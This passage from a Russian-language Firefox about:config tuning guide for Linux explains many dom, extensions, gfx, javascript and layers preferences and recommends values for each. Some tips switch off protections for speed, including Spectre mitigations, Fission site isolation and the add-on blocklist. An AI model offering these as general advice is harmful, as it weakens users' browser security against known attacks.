но не знаете как её решить, можете отключить мониторинг страниц и показ этого уведомления **false** ***dom.ipc.processPrelaunch.enabled*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=781724) Во время запуска Firefox эта функция создаёт дополнительный процесс для загрузки библиотек [XPCOM](https://ru.wikipedia.org/wiki/XPCOM) в оперативную память компьютера. Тем самым запуск браузера может происходить быстрее. Однако на компьютере с одноядерным процессором с одним рабочим потоком (нет поддержки Hyper-threading) эта функция может замедлить запуск браузера. Если у вас такой процессор (смотрите **javascript.options.shared\_memory**) переключите опцию в **false** ***dom.indexedDB.experimental*** [\*](https://ru.wikipedia.org/wiki/IndexedDB) [\*](https://developer.mozilla.org/en-US/docs/Web/API/IDBIndex/getAllKeys) Дополнительная функция хранения данных, работает во всех других браузерах и рекомендована для включения w3.org. Можете её тоже включить **true** ***dom.indexedDB.logging.details dom.indexedDB.logging.enabled*** Функции для веб-разработчиков. Можно отключить **false** ***dom.input\_events.beforeinput.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/beforeinput_event) Для Firefox 78 и 84 Функция применяется для работы с текстом. Влючена по умолчанию в Firefox 87 и других браузерах. Включите её **true** ***dom.keyboardevent.dispatch\_during\_composition*** Функция для Android, не работает в ПК версиях Linux. Отключите её **false** ***dom.manifest.enabled*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1647858) Для Firefox 84+. Функция для веб-разработчиков, можете её отключить **false** ***dom.maxHardwareConcurrency*** [\*](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorConcurrentHardware/hardwareConcurrency) [\*](https://support.mozilla.org/ru/questions/1174651) Firefox может автоматически определять сколько ядер или потоков имеет процессор в компьютере, что бы затем оптимально распределить выполняемые задачи при обработке веб-контента. Можете перестраховаться (если сомневаетесь, что браузер правильно определил возможности вашего процессора) и ограничить в ручную это значение. Количество потоков можно посмотреть в «Информацие о системе» Linux (смотрите **javascript.options.shared\_memory**) ***dom.media.mediasession.enabled media.hardwaremediakeys.enabled media.mediacontrol.stopcontrol.aftermediaends media.mediacontrol.stopcontrol.timer*** [\*](https://support.mozilla.org/no/kb/control-audio-or-video-playback-your-keyboard?redirectslug=control-audio-or-video-playback-your-headset-or-keyboard&redirectlocale=ru-ru) [\*](https://www.ghacks.net/2020/03/23/firefox-will-soon-support-hardware-media-controls/) Для Firefox 78+ Функция управления мультимедиа (аудио или видео) с помощью мультимедийных клавиш на клавиатуре или другой гарнитуре. Если на клавиатуре нет мультимедийных клавиш, либо эти клавишы есть, но вы ими не пользуетесь, можете отключить эту функцию, переключив опции в **false** ***dom.push.enabled dom.webnotifications.enabled*** [\*](https://support.mozilla.org/ru/kb/veb-push-uvedomleniya-v-firefox) [\*](https://www.bennish.net/web-notifications.html) Веб Push-уведомления позволяют веб-сайтам уведомлять вас о новых сообщениях или обновленном контенте. Пока Firefox запущен, веб-сайты, которым были предоставлены разрешения, могут отправлять уведомления вашему браузеру для отображения их на экране. Вы можете легко разрешать или отключать уведомления и управлять их поведением. Если вас достают эти всплывающие окна уведомлений — их можно отключить, переключив опции в **false** ***dom.security.secFetch.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Mode) Для Firefox 78 и 84. Функция безопасности. Позволяет серверу различать: запросы, исходящие от пользователя, перемещающегося между HTML-страницами, и запросы на загрузку изображений и других ресурсов. Включена по умолчанию в новых Firefox, включите её тоже **true** ***dom.security.unexpected\_system\_load\_telemetry\_enabled*** Для Firefox 84+. Телеметрия, отключение **false** ***dom.serviceWorkers.enabled dom.webnotifications.serviceworker.enabled*** Некоторые сайты, поддерживающие Service Workers могут загружать на компьютер пользователя определённую информацию, которая может отобразиться в браузере только после пропадания связи компьютера с интернетом. Например, вылезет окно уведомления, что пропало подключение к сети. Так же с помощью этой функции сайт может сохранить на компьютере пользователя некоторые элементы самой веб-страницы. Если связь с интернетом исчезнет, определённая навигация и действия на открытой веб-странице могут быть ещё доступны в режиме оффлайн. Для стационарных компьютеров и ноутбуков со стабильной связью (без частых дисконнектов) эта функция бесполезна, можете отключить её **false** ***dom.storage.next\_gen*** [\*](https://github.com/arkenfox/user.js/issues/1059) Новая реализация [LocalStorage](https://habr.com/ru/post/496348/). Включена по умолчанию в новых Firefox. Включите её тоже **true** ***dom.storage.shadow\_writes*** Функция позволяет пользователю не потерять данные после переустановки Firefox, в случае когда новая версия браузера удаляется и затем ставится более старая версия (например удалили 91, а поставили 68). По умолчанию эти данные записываются в файл *webappsstore.sqlite* который теоретически может понадобиться для этой ситуации. Начиная с Firefox 102 эта настройка по умолчанию отключена **false**. Если вы не собираетесь переустанавливать Firefox с заменой его на более старую версию, переключите эту опцию в **false**. ***dom.targetBlankNoOpener.enabled*** [\*](https://www.ghacks.net/2018/11/30/firefox-security-relnoopener-for-target_blank/) [\*](https://habr.com/ru/post/282880/) Для Firefox 68 и 78. Функция безопасности, помогает браузеру защититься от злоумышленников. Включена по умолчанию в новых версиях браузеров. Включите её тоже **true** ***dom.vibrator.enabled*** Позволяет использовать вибрацию, если на устройстве установлен вибромотор. Отключение **false** ***dom.visualviewport.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/API/Visual_Viewport_API) [\*](https://itnan.ru/post.php?c=1&p=339256) При масштабировании веб-страницы пользователем, функция позволяет отображать её на экране монитора так как задумал сам разработчик сайта. Включена по умолчанию в новых Firefox. Включите её **true** ***dom.w3c\_pointer\_events.implicit\_capture*** Функция для устройств с сенсорным вводом (тачпадом или тачскрином), в основном это ноутбуки. Включена по умолчанию в новых Firefox. Если в вашем компьютере есть устройство сенсорного ввода, переключите эту опцию на **true**, если нет — на **false** ***dom.w3c\_pointer\_events.multiprocess.android.enabled*** Для Firefox 78 и 84. Функция для Android, не работает в ПК версиях Linux. Отключите её **false** ***dom.w3c\_touch\_events.enabled*** [\*](https://developer.mozilla.org/ru/docs/Web/API/Touch_events) Функция для устройств (в основном ноутбуки) с тачпадом, сенсорным экраном или трекболом. Если ничего из этого нет в вашем компьютере, отключите, установив значение **0** ***dom.webdriver.enabled*** [\*](https://habr.com/ru/post/152971/) [\*](https://www.youtube.com/watch?v=hjSu37gBSH4) Функция для веб-разработчиков. Представляет из себя программную библиотеку, которая позволяет разрабатывать программы, управляющие поведением браузера. Используется, в основном, для тестирования сайтов в браузере. Обычному пользователю не нужна, можете отключить **false** ***dom.workers.maxPerDomain*** [\*](https://stackoverflow.com/questions/13574158/number-of-web-workers-limit) Функция определяет количество рабочих потоков выполняемых одновременно. По умолчанию в новых Firefox это значение огромное 512, и выбиралось, судя по всему из условия, что у большинства пользователей в браузере работает многопроцессный режим и аппаратное ускорение, стоит процессор с большим количеством ядер. То есть, современные конфигурации ПК способны одновременно обрабатывать большой объём вычислений. Для старого компьютера с однопоточным одноядерным процессором и без аппаратного ускорения, желательно установить значение функции равное **20**. А для более быстрых (например двухъядерных или двухпоточных) значение можно не менять. ***extensions.abuseReport.enabled*** Когда вы удаляете расширение из браузера, Firefox может предложить пожаловаться на это расширение. Если вы устанавливаете только проверенные расширения, можете убрать это предложение, установив значение опции в **false** ![image](https://habrastorage.org/r/w780q1/webt/cl/ae/yb/claeybhmpgvoezoludwh5rkjkoo.jpeg) ***extensions.abuseReport.amWebAPI.enabled*** Для Firefox 78+ Функция создана исключительно для сайта addons.mozilla.org На странице какого-нибудь дополнения, если нажать на «Сообщить о нарушении правил этим дополнением» появится окно расширенной формы заполнения жалобы. Если вы пользуетесь только проверенными расширениями, которые не дают повода жаловаться на них, можете отключить эту функцию **false** ***extensions.blocklist.enabled*** Если вы, к примеру, установили старую версию флешплеера. Firefox отключит этот плагин, написав об этом предупреждение. Что бы Firefox не проверял актуальность дополнений, отключите эту функцию **false** ***extensions.content\_script\_csp.report\_only*** [\*](https://blog.mozilla.org/addons/2019/12/12/test-the-new-csp-for-content-scripts/) Для Firefox 78 и 84 Телеметрия. Отключите **false** ***extensions.formautofill.available*** Функция включения системного допонения Form Autofill (см. Дополнения в браузер --> Присутствуют в составе Firefox). Если заполняете такие данные сами вручную, можно отключить это дополнение, удалив **on** или **detect** ***extensions.formautofill.creditCards.enabled extensions.formautofill.creditCards.available*** Автоматическое заполнение на сайтах платёжных форм банковских карт. Если предпочитаете заполнять эти данные вручную, либо на используемом компьютере не совершаете платежи, отключите эту функцию **false** ***extensions.fxmonitor.enabled*** [\*](https://support.mozilla.org/ru/kb/firefox-monitor) [\*](https://www.opennet.ru/opennews/art.shtml?num=50164) (этот параметр создаётся как логическое) Системное дополнение Firefox Monitor (см. Дополнения в браузер --> Присутствуют в составе Firefox). Если вы будете работать на компьютере с которого просто просматриваете сайты без регистрации или авторизации на них, тогда можете отключить это дополнение **false** ***extensions.getAddons.cache.enabled*** Менеджер дополнений собирает информацию о каждом установленном дополнении и даёт возможность получать персонализированные рекомендации, отображаемые на странице «Рекомендации» в настройках параметров дополнений *about:addons*. Отключение **false** ***extensions.getAddons.showPane*** (этот параметр создаётся как логическое) Если вы не собираетесь устанавливать дополнения через *about:addons* «Рекомендации», можете убрать этот пункт из меню. Создайте и установите эту функцию в **false** ![image](https://habrastorage.org/r/w780q1/webt/ow/zb/3z/owzb3zgd4wajexawho8gtgbfryo.jpeg) ***extensions.htmlaboutaddons.recommendations.enabled extensions.htmlaboutaddons.discover.enabled*** По умолчанию, Firefox в меню установленных расширений показывает так же и неустановленные рекомендуемые. Если вы не желаете видеть эти предлагаемые дополнения, переключите обе опции в **false** ***extensions.pocket.enabled*** Приложение для управления списком сохранённых статей. Если не пользуетесь [Pocket](https://ru.wikipedia.org/wiki/Pocket), отключайте **false** ***extensions.screenshots.disabled*** [\*](https://support.mozilla.org/ru/kb/skrinshoty-firefox) [\*](https://screenshots.firefox.com/) ***extensions.screenshots.upload-disabled*** Инструменты для создания и сохранения скриншотов специальным расширением в составе Firefox. Если не используете эти инструменты, отключайте их **true** ***extensions.systemAddon.update.enabled*** Функция автоматического обновления дополнений которые есть изначально в Firefox (смотрите ниже «Дополнения в браузер» --> «Присутствуют в составе Firefox»). Если вы этими дополнениями не пользуетесь, можно отключить её **false** ***extensions.update.autoUpdateDefault*** Автоматическая установка обновлений для имеющихся дополнений. Если не планируете обновлять дополнения, либо авторы дополнений перестали делать новые версии, или же желаете контролировать процесс установки обновлений в ручную, отключите этот параметр **false** ***extensions.update.enabled*** Не собираетесь обновлять ваши установленные дополнения, отключите проверку их автоматического обновления **false** ***extensions.webcompat.perform\_injections extensions.webcompat.perform\_ua\_overrides*** Эти опции относятся к системному дополнению Web Compat (смотри *Дополнения в браузер --> Присутствуют в составе Firefox*). Предназначены они для оперативного исправления ошибок в работе браузера с некоторыми сайтами, до выхода новой версии Firefox. Не обязательно это могут быть ошибки Firefox, бывает так, что криво сделан сам сайт, но браузеру необходимо под него подстроиться, что бы страница отображалась корректно. Какие ошибки и на каких сайтах были исправлены, можно посмотреть в **about:compat** Вероятность того, что в этом списке появится сайт который вы посещаете очень мала. По этому при желании можете отключить **false** одну или обе эти функции. ***extensions.webextensions.remote*** [\*](https://www.ghacks.net/2017/07/11/firefox-nightly-out-of-process-web-extensions/) [\*](http://forum.ru-board.com/topic.cgi?forum=5&topic=49695&start=1280#9) С включенным по умолчанию параметром создаётся отдельный процесс только для расширений, для предотвращения возможных конфликтов между расширениями и браузером, что в свою очередь должно привести к общей стабильности браузера. Однако при работе этой функции, увеличивается общее потребление памяти. В редких случаях в Firefox 84 отключение этой функции может привести к ошибкам в работе некоторых расширений, например «SingleFile» или других. Если в вашем браузере нет установленных расширений отключите эту функцию **false**. Если установлено небольшое количество расширений, можете отключить эту функцию, но затем перезапустите браузер и убедитесь, что все расширения работают нормально. Если с какими-то расширениями будут проблемы, переключите эту опцию обратно в true ***fission.autostart*** [\*](https://habr.com/ru/company/cloud4y/blog/558236/) Для Firefox 102 Новая архитектура безопасности с изоляцией сайтов расширяет существующие механизмы защиты за счёт разделения контента. Теперь под каждый сайт будет создаваться свой отдельный процесс операционной системы. Это позволит полностью изолировать код с разных сайтов. В частности, обеспечить защиту от вредоносных ресурсов, пытающихся получить доступ к конфиденциальной информации с других площадок, которые посещают пользователи. Например, введённые пароли, номера кредитных карт и т.п. Когда включена эта настройка true, браузер использует примерно на 20% больше оперативной памяти компьютера. Если памяти в вашем компьютере не слишком много, желательно отключить эту функцию **false**, пусть даже и в ущерб безопасности. ***full-screen-api.transition.timeout*** Функция для Windows, не работает в Linux. Измените значение на **0** ***full-screen-api.warning.timeout full-screen-api.warning.delay*** При открытии видео на полный экран может появится надпись "… теперь находится в полноэкранном режиме". Что бы эта надпись не появлялась установите для первой опции значение **0**, а для второй **-1** ***general.smoothScroll*** Использовать плавную прокрутку страниц. На большинстве конфигураций ПК эта настройка не сильно влияет на производительность. Только на совсем слабом железе могут быть видны подёргивания картинки при прокрутке с включеной **true** по умолчанию этой опцией ***general.smoothScroll.mouseWheel.durationMaxMS general.smoothScroll.mouseWheel.durationMinMS*** Для Firefox 84+ В старых версиях Firefox прокрутка страницы (скролинг) была более плавной, а в новых версиях она как бы более ступенчатая. Но вы можете вернуть старую прокрутку, например какой она была в Firefox 68 или 78, если измените значения этим опциям. Первая должна быть **400** а вторая **200** ***geo.enabled*** Посылать при соответсвующем запросе сайтам информацию о вашем местоположении. В некоторых случаях эта функция нужна, если вы посещаете сайты через зарубежные VPN или прокси-серверы. Обычно, сайт узнаёт ваше местоположение без каких-либо запросов по IP адресу компьютера пользователя. Можно отключить **false**. Только в очень редких случаях, отключение этой функции может вызвать ошибки в работе с некоторыми сайтами. Для каждого такого сайта индивидуально, так же как и в примере с **privacy.trackingprotection.enabled**, можно включить эту функцию. ***gestures.enable\_single\_finger\_input*** Функция для компьютеров с сенсорным экраном. Отключайте **false** если сенсорного экрана нет ***gfx.direct2d.disabled*** Для Firefox 78+ В Linux Direct2D не работает, отключайте **true** ***gfx.direct3d11.reuse-decoder-device*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1313883#c3) Для Firefox 78+ Не работает в Linux. Измените значение на **0** ***gfx.e10s.font-list.shared*** [\*](https://www.opennet.ru/opennews/art.shtml?num=55343) [\*](https://support.mozilla.org/ru/questions/1340747) Для Firefox 78+ Если включить эту опцию, немного уменьшится потребление памяти браузером. Но может измениться отображение шрифтов на веб-страницах. Они могут стать тоньше, либо наоборот жирнее. А в некоторых случаях, если используются необычные типы шрифтов, эта функция может приводить к аварийному закрытию браузера. Если у вас возникнут проблемы с отображением текста, переключите этот параметр обратно на **false** ***gfx.offscreencanvas.enabled*** [\*](http://www.opennet.ru/opennews/art.shtml?num=43721) [\*](https://developer.mozilla.org/en-US/docs/Web/API/OffscreenCanvas) [\*](https://hacks.mozilla.org/2016/01/webgl-off-the-main-thread/) Выполнение отрисовки некоторых отдельных элементов страницы через WebGL в отдельном потоке, не мешающем работе основного потока обработки контента, и в некоторых ситуациях, отрисовка страниц может происходить быстрее. Включена по умолчанию в новых Firefox. Включать **true** эту функцию следует только если в about:support строки *WebGL 1 — ...* полностью заполнены и процессор поддерживает SSE2 инструкции. Пример, когда не надо включать эту функцию ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/289/d4b/050/289d4b050f7bc2911c194d6c3864ad42.jpg) ***gfx.text.subpixel-position.force-disabled gfx.text.subpixel-position.force-enabled gfx.webrender.quality.force-subpixel-aa-where-possible*** [\*](https://pandasauce.org/get-fonts-done/) Для Firefox 78+ Функции связаны со сглаживанием шрифтов. В некоторых случаях переключение этих опций может улучшить их чёткость или контрастность. Последняя опция может работать только если используется аппаратное ускорение WebRender. ***gfx.vsync.force-disable-waitforvblank*** Для Firefox 78+. Функция для Windows, не работает в Linux. Переключите опцию в **true** ***gfx.webrender.enabled*** [\*](https://habr.com/ru/post/340176/) [\*](https://www.opennet.ru/opennews/art.shtml?num=51092) [\*](https://forum.mozilla-russia.org/viewtopic.php?pid=786940) Для Firefox 78+. [WebRender](https://habr.com/ru/post/340176/) ускорение обеспечивает лучшую производительность браузера в сравнении с OpenGL ускорением. Однако включить его возможно при условии, когда в компьютере есть графический адаптер поддерживаюжий OpenGL начиная с версии 3.0. Для активации WebRender переключите эту опцию в **true**. В Firefox 91 и более новых версиях браузера, после включения этой опции, Firefox попытается использовать аппаратный Webrender с видеокартами OpenGL 3+ внесённых по какой-то причине в блоклист. Минимальные системные требования для работы WebRender: 1. Видеокарты Intel HD2000+, AMD HD2400+ или Nvidia GF8100+ 2. Драйвер Mesa версии 18.2 или новее. Драйверы производителей графическиских карт могут работать быстрее, [но с ошибками](https://wiki.mozilla.org/Platform/GFX/WebRender_Where#Linux) ***gfx.webrender.force-disabled*** [\*](https://habr.com/ru/post/340176/) Для Firefox 68 — 91 Опция отключения WebRender. Если ваша видеокарта не поддерживает OpenGL 3.0+, включите эту опцию **true** ***gfx.webrender.compositor*** Для Firefox 78+ Может работать только на системах с [Wayland](https://ru.wikipedia.org/wiki/Wayland). Если у вас используется *X.org* переключите опцию в **false** ***gfx.webrender.svg-images*** Для Firefox 91 Если в вашем браузере работает аппаратное ускорение Webrender (см. *about:support* в таблице «Графика» должно быть написано одно слово *WebRender* без Software ), включите эту опцию **true**. Отрисовка некоторых изображений будет происходить быстрее ***gfx.webrender.software.opengl*** Для Firefox 91 Если ваша видеокарта поддерживает только OpenGL 2.0 или 2.1, а так же если поддерживает OpenGL 3.0+, но по какой-то причине аппаратный Webrender не включается ( в *about:support* в таблице «Графика» написано WebRender (Software) ), переключите эту опцию в **true**. Будет задействовано частичное ускорение видеокартой с использованием OpenGL 2.0 WebRender (Software OpenGL) В Firefox 102 включение этой функции приводит к падению браузера. ***gfx.webrender.software.d3d11*** Для Firefox 84+ Не работает в Linux, отключите **false** ***gfx.work-around-driver-bugs*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=986871) [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1149808) Функция для macOS. В Linux бесполезна, более того, из-за неё с некоторыми старыми видеокартами браузер может не открываться на весь экран. Отключайте **false** ***gfx.xrender.enabled*** Если по какой то причине у вас не получится включить аппаратное ускорение в Firefox (например нерешаемые проблемы с драйверами или просто видеокарта не поддерживает OpenGL 2.0), можно переложить на процессор некоторые задачи предназначенные для видеокарты. Включив эту опцию **true**, прокрутка страниц станет плавной. Но, на ПК с совсем медленным процессором эффект может получиться отрицательным, так как процессор не справится с возложенной на него дополнительной нагрузкой. Визуально это будет выглядеть как хорошая скорость отображения и прокрутки на лёгких текстовых страницах, и медленная отрисовка с рваной прокруткой на тяжёлых страницах где есть элементы анимации или скрипты. На компьютере с быстрым процессором отрицательных эффектов может вообще не быть. И если запас производительности у вашего процессора большой, можете дополнительно изменить опцию **gfx.canvas.azure.backends** в значение **cairo**, тем самым сделать обработку элементов канвас через xrender ещё быстрее. Желательно настраивать опцию *gfx.xrender.enabled* самой последней, когда можно будет оценить скорость работы браузера после других оптимизаций. Перед включением этой опции, необходимо отключить **layers.async-pan-zoom.enabled** так как обе они конфликтуют друг с другом. ***gfx.ycbcr.accurate-conversion*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1256475) [\*](https://bug1256475.bmoattachments.org/attachment.cgi?id=8758540) [\*](https://ru.wikipedia.org/wiki/YCbCr) Функция может использоваться для более быстрой обработки видео на старых процессорах без поддержки SSSE3 (три буквы S), [NEON](https://habr.com/ru/post/548698/) или AVX2 инструкций. Визуально это может выглядеть как более плавное проигрывание видео с меньшим количеством пропущенных кадров. По умолчанию эта функция отключена для оптимизации работы с новыми процессорами в которых эти инструкции есть. Если ваш процессор имеет только SSE, SSE2, SSE3 инструкции переключите эту опцию в **true**. Если же есть SSSE3 и/или AVX2 — оставьте **false** На мобильных устройствах с Android оставьте **false**, все процессоры ARMv7 и более новые на Android 4.1+ поддерживают NEON. ***gl.ignore-dx-interop2-blacklist*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1287653) [\*](https://www.khronos.org/registry/OpenGL/extensions/NV/WGL_NV_DX_interop2.txt) Функция для Windows, бесполезна в Linux. Переключите её в **true** ***gl.msaa-level webgl.msaa-samples*** [\*](https://get.webgl.org/) Функция определяет степень сглаживания линий трёхмерных объектов когда на веб-странице используется WebGL. Если ваш браузер обрабатывает WebGL не видеокартой, а слабым процессором (используется *llvmpipe* см. выше **webgl.disabled**), установите значение **0**. С некоторыми старыми видеокартами эта функция может работать не правильно, например края трёхмерных объектов будут мельтешить мелкими кубиками или прямоугольниками. Для исправления, эту опцию так же необходимо изменить на **0** ***identity.fxaccounts.enabled*** [Синхронизация в Firefox](https://support.mozilla.org/ru/products/firefox/sync). Отключив **false**, из настроек главного меню исчезнет «Синхронизация». ![image](https://habrastorage.org/r/w780q1/webt/0x/p1/9r/0xp19ryeyt5yg2i-v-12xeiubac.jpeg) ***image.animation\_mode*** Эту опцию желательно изменять только на очень слабых компьютерах, которые чувствительны к любой нагрузке на процессор. Для отображаемых на веб-странице анимированных GIF файлов (в основном они присутствуют на форумах и чатах в виде аватарок и смайлов) можно задать следующие параметры просмотра **none** — не показывать анимацию **once** — показывать анимацию только один раз, после загрузки страницы **normal** — показывать анимацию (по умолчанию) Но учтите, что некоторые картинки могут поменять свой смысл, как например этот смайл ![image](https://habrastorage.org/webt/a7/gj/nq/a7gjnqbztnpj0axd3qpppjhh7ru.gif) если будет выставлен none или once. ***image.avif.enabled*** [\*](https://habr.com/ru/company/ruvds/blog/534110/) Для Firefox 78+ Поддержка браузером нового формата изображений AVIF. Включите её **true** ***image.avif.compliance\_strictness*** Для Firefox 91+ Переключите значение этой опции на **0** что бы браузер пытался показать все изображения в формате AVIF вне зависимости от их спецификаци. ***image.decode-immediately.enabled*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1149893) [\*](https://www.reddit.com/r/firefox/comments/qlh1sq/does_the_aboutconfig_setting/) Функция позволяет во время загрузки страницы сразу декодировать изображения спрятанные внизу страницы (когда необходимо прокручивать страницу вниз что бы их увидеть). В обычной ситуации картинки могут загружаться и декодироваться по мере прокрутки страницы вниз. Если в вашем компьютере установлено более 1Гб оперативной памяти, не слабый процессор и интернет соединение достаточно быстрое (несколько мегабит) включите эту опцию **true**. Прокрутка страниц с большим количеством изображений может стать более плавной. ***image.http.accept*** [\*](https://forum.mozilla-russia.org/viewtopic.php?id=74288) [\*](https://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values) Для Firefox 68 и 78. Если вы решите сохранить изображение со страницы какого-нибудь сайта, Firefox по умолчанию в первую очередь будет предлагать вам сохранить картинку в формате *Webp*. Это новый формат изображений, который как бы должен сменить *JPEG*. Однако старые версии программ для просмотра и редактирования изображений могут потом не открыть эти картинки если они будут в формате *Webp*. Что бы Firefox делал предпочтение сохранению картинок в *JPEG*, измените значение этой опции на **\*/\*** удалив спереди **image/webp,** Если сайт хранит картинки только в *Webp*, Firefox предложит сохранить их также только в *Webp*. ***intl.menuitems.insertseparatorbeforeaccesskeys*** [\*](https://developer.mozilla.org/en-US/docs/Archive/Mozilla/XUL/Tutorial/Accesskey_display_rules#don%27t_include_accesskey_text_in_labels) Функция корректирует отображаемый японский или китайский текст (для удобства чтения), автоматически добавляя в нужных местах разделители в тексте. Если не понимаете иероглифы, можете отключить её, изменив значение на **false** ***intl.multilingual.enabled*** Выбор языка отображения меню, сообщений и уведомлений от Firefox. По умолчанию в браузере, в основном меню настроек можно переключить язык, и после перезапуска браузера всё будет в новом выбранном языке. Если в многоязычности нет необходимости, отключите эту функцию **false** ***intl.uidirection*** Автоматическая установка отображения веб-страниц и элементов управления браузера для арабской вязи и др. языков с письмом право на лево. Срабатывает по настройкам локализации браузера. Если не умеете читать в обратную сторону, отключите эту функцию изменив значение на **0** ***javascript.enabled*** Только для процессоров без SSE2 В редких случаях, на некоторых сайтах могут использоваться скрипты которым необходим процессор с поддержкой SSE2 инструкций. Когда у процессора нет SSE2, во время открытия веб-страницы может произойти её крах. Если вы сталкиваетесь с такими ошибками, можете на время просмотра этой страницы сайта отключить все используемые скрипты, переключив эту опцию в **false**. Либо в настройках блокировщика рекламы попытаться заблокировать проблемный элемент (см. *Блокировка рекламы и не нужных элементов на веб-странице --> С помощью расширений --> Примеры использования расширения uBlock Origin для быстрой загрузки сайтов и эффективной блокировки рекламы*). Или же установить отдельное расширение, например [JavaScript Switcher](https://addons.mozilla.org/ru/firefox/addon/quick-js-switcher/) с помощью которого можно выключать скрипты на выбранных сайтах. ***javascript.options.asyncstack*** Для Firefox 84+. Отладка скриптов, функция для веб-разработчиков. Отключите её **false** ***javascript.options.shared\_memory*** [\*](https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/) Для Firefox 68. Возможность обработки некоторого кода страницы в несколько потоков. Что может ускорить отрисовку страницы в целом. Функцию включили по умолчанию в новых Firefox. Данную опцию желательно включить **true** на компьютерах с процессором у которого несколько ядер или одно ядро, но имеется функция [Hyper-threading](https://ru.wikipedia.org/wiki/Hyper-threading). Но даже если у вас один поток и компьютер не перегружен различными программами работающими в фоне, её тоже можно включить. Заметного прироста производительности не увидите, но и хуже тоже не станет. Узнать поддерживает ли ваш процессор многопоточность, можно посмотрев в «информации о системе» своего дистрибутива Linux. Если на количестве ядер или потоков стоит число **2** или более — значит ваш процессор поддерживает многопоточность. ![image](https://habrastorage.org/r/w780q1/webt/ju/hp/sk/juhpskz-mjwe5usgwlpjsksoqfy.jpeg) ***javascript.options.spectre.index\_masking javascript.options.spectre.jit\_to\_C++\_calls javascript.options.spectre.jit\_to\_cxx\_calls javascript.options.spectre.object\_mitigations javascript.options.spectre.object\_mitigations.barriers javascript.options.spectre.object\_mitigations.misc javascript.options.spectre.string\_mitigations javascript.options.spectre.value\_masking*** Если вас не пугает уязвимость [Spectre](https://habr.com/post/346026/), в целях чуть лучшей производительности, можете отключить **false** эти функции. ***javascript.options.wasm*** Функция не работает на компьютерах с процессорами у которых нет поддержки SSE2 инструкций. Если у вас такой процессор, переключите опцию в **false** ***layers.acceleration.force-enabled*** Функция попытки принудительного включения аппаратного ускорения. Аппаратное ускорение видеокартой даст плавную прокрутку страниц даже на очень слабых ПК, и отрисовка самой веб-страницы будет происходить быстрее. В связи с большим разнообразием Linux дистрибутивов и установленного программного обеспечения в них, разработчики Firefox решили перестраховаться и отключили по умолчанию автоматический подхват аппаратного ускорения даже если видеокарта поддерживает его. Главным условием для включения аппаратного ускорения является поддержка графическим адаптером OpenGL 2.0. Для Nvidia это карты начиная с GeForce 6100, для AMD — Radeon 9500, и Intel GMA 900 (смотрите в начале этой статьи главу «Аппаратное ускорение видеокартой»). Начиная с Firefox 92 необходим OpenGL 3.0 и видеокарты Nvidia GeForce 8100; AMD Radeon HD 2400; Intel HD Graphics начиная с шестого поколения, например Celeron G530T. Кроме самой поддержки видеокартой OpenGL 2.0 или 3.0, не менее важным будет наличие в системе актуального драйвера с которым сможет работать браузер. А от этого подтягивается следующая связанная цепочка: версия X.org или Wayland и ядра системы с которыми может работать нужный вам видеодрайвер. Собственно по этой причине, дистрибутивы Ubuntu и производные от него (Lubuntu, Xubuntu и другие) версии 12.04LTS так долго были и остаются популярными у народа. Посмотреть работает ли аппаратное ускорения в браузере можно на странице *about:support* в разделе «Графика», в строке Композитинг должно быть написано *OpenGL*. Если написано *Basic* или *Webrender (Software)* — значит аппаратное ускорение не работает. В любом случае, попытайтесь включить эту опцию **true**. Если повезёт, после этого, бубен в настройке аппаратного ускорения скорее всего вам уже не понадобится. Важно! Не включайте эту опцию если браузер в качестве драйвера использует **llvmpipe**. Это программный эмулятор поддержки OpenGL. С ним Firefox будет работать медленнее чем просто с *Basic* или *Webrender (Software)* ускорением. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/cfd/511/28a/cfd51128a1a21b4d5b131d16dabd1623.jpg) ***layers.acceleration.disabled*** Включите эту опцию **true**, если ваш графический адаптер не поддерживает OpenGL 2.0. А начиная с Firefox 92, для работы аппаратного ускорения в браузере, видеокарта должна уметь OpenGL 3.0. ***layers.amd-switchable-gfx.enabled*** Правильное определение используемой в Firefox видеокарты (например встроенной или дискретной) в случаях если в компьютере установлена графика ATI/AMD и дополнительно ещё какая-нибудь другая, например Intel или Nvidia. Если у вас нет видеокарты ATI/AMD, либо она единственная — отключите эту функцию **false** ***layers.async-pan-zoom.enabled*** Асинхронное панорамирование/зум. Достаточно сильно влияет на производительность браузера. Функция по умолчанию включена. Из преимуществ: В включённом состоянии, Firefox немного более живее работает и прокрутка страниц может быть более плавной. Из недостатков: Увеличенная нагрузка на процессор. Может вызывать графические искажения с включённым аппаратным ускорением в браузере на видеокартах Intel серии GMA 900 — 3150 Если процессор слабенький, не справляется, отключите эту функцию **false** Начиная с Firefox 97 для отключения этой функции, необходимо в начале переключить опцию ***fission.autostart*** в значение **false** ***layers.componentalpha.enabled*** Функция субпиксельного сглаживания изображения, выполняемая видеокартой. С включённым аппаратным ускорением в браузере на видеокартах Intel серии GMA 900 — 3150 может приводить к искажению/замене цвета при отрисовке различных объектов на веб-странице. Например вместо жёлтого будет синий и наоборот. Если вы столкнулись с такими ошибками, попробуйте переключить эту опцию в **false** ***layers.d3d11.enable-blacklist*** Для Firefox 78+ Функция для Windows, отключите **false** ***layers.enable-tiles*** Переключение этой опции на **true**, в некоторых случаях, может исправить ошибки связанные с аппаратным ускорением в браузере. Например ошибка, когда изображение растягивается на «штрих-код» при прокрутке страницы или буквы в тексте выглядят как бы размазаными. Если у вас нет подобных ошибок в отображении веб-страниц, оставьте её в значении **false** ***layers.geometry.d3d11.enabled*** Не работает в Linux, отключайте **false** ***layers.gpu-process.enabled*** Отдельный процесс, дополнительно вынесен код композитинга и интерфейса для взаимодействия с GPU, что позволит защитить браузер от проблем, возникающих из-за графических драйверов и 